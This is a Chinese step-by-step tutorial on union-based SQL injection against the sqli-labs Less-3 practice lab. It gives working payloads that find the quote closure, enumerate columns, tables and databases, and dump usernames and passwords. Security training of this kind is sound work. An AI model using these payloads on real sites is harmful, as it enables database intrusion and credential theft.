SQL注入实例(sqli-labs/less-3)

0、初始页面

1、确定闭合字符

确定为字符型注入

复制代码
?id=1 and 1=1 
?id=1 and 1=2

确定闭合字符为 ')

复制代码
?id=1'
?id=1')

2、确定表的列数

确定查询表的列数为3

复制代码
?id=1') order by 3 --+

3、确定回显位置

确定回显位置为第二列和第三列

复制代码
?id=-1') union select 1,2,3 --+

4、爆库名

当前所在数据库为security

复制代码
?id=-1') union select 1,user(),database() --+

5、爆表名

查看users表

复制代码
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = 'security' --+

6、爆列名

复制代码
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users' --+

7、显示最终结果

复制代码
?id=-1%27) union select 1,2,group_concat(username,0x3a,password) from security.users --+
相关推荐
qq_416018724 分钟前
Python多线程与多进程:如何选择?(GIL全局解释器锁详解)
jvm·数据库·python
m0_662577978 分钟前
用Python生成艺术:分形与算法绘图
jvm·数据库·python
娇娇yyyyyy25 分钟前
QT编程(19) : Qt 实现自定义delegate
开发语言·数据库·qt
polaris063041 分钟前
学生成绩管理系统(MySQL)
android·数据库·mysql
暮冬-  Gentle°41 分钟前
用Python制作一个文字冒险游戏
jvm·数据库·python
Yupureki41 分钟前
《实战项目-个人在线OJ平台》1.项目简介和演示
c语言·数据结构·c++·sql·算法·性能优化·html5
woshilys1 小时前
sql server 修改字段not null到null
数据库·sqlserver
m0_587958951 小时前
游戏与图形界面(GUI)
jvm·数据库·python
常利兵1 小时前
Android 开发探秘:View.post()为何能获取View宽高
java·数据库·sql
xdpcxq10292 小时前
Redis 故障排查 + 跨语言重构场景实测
数据库·redis·重构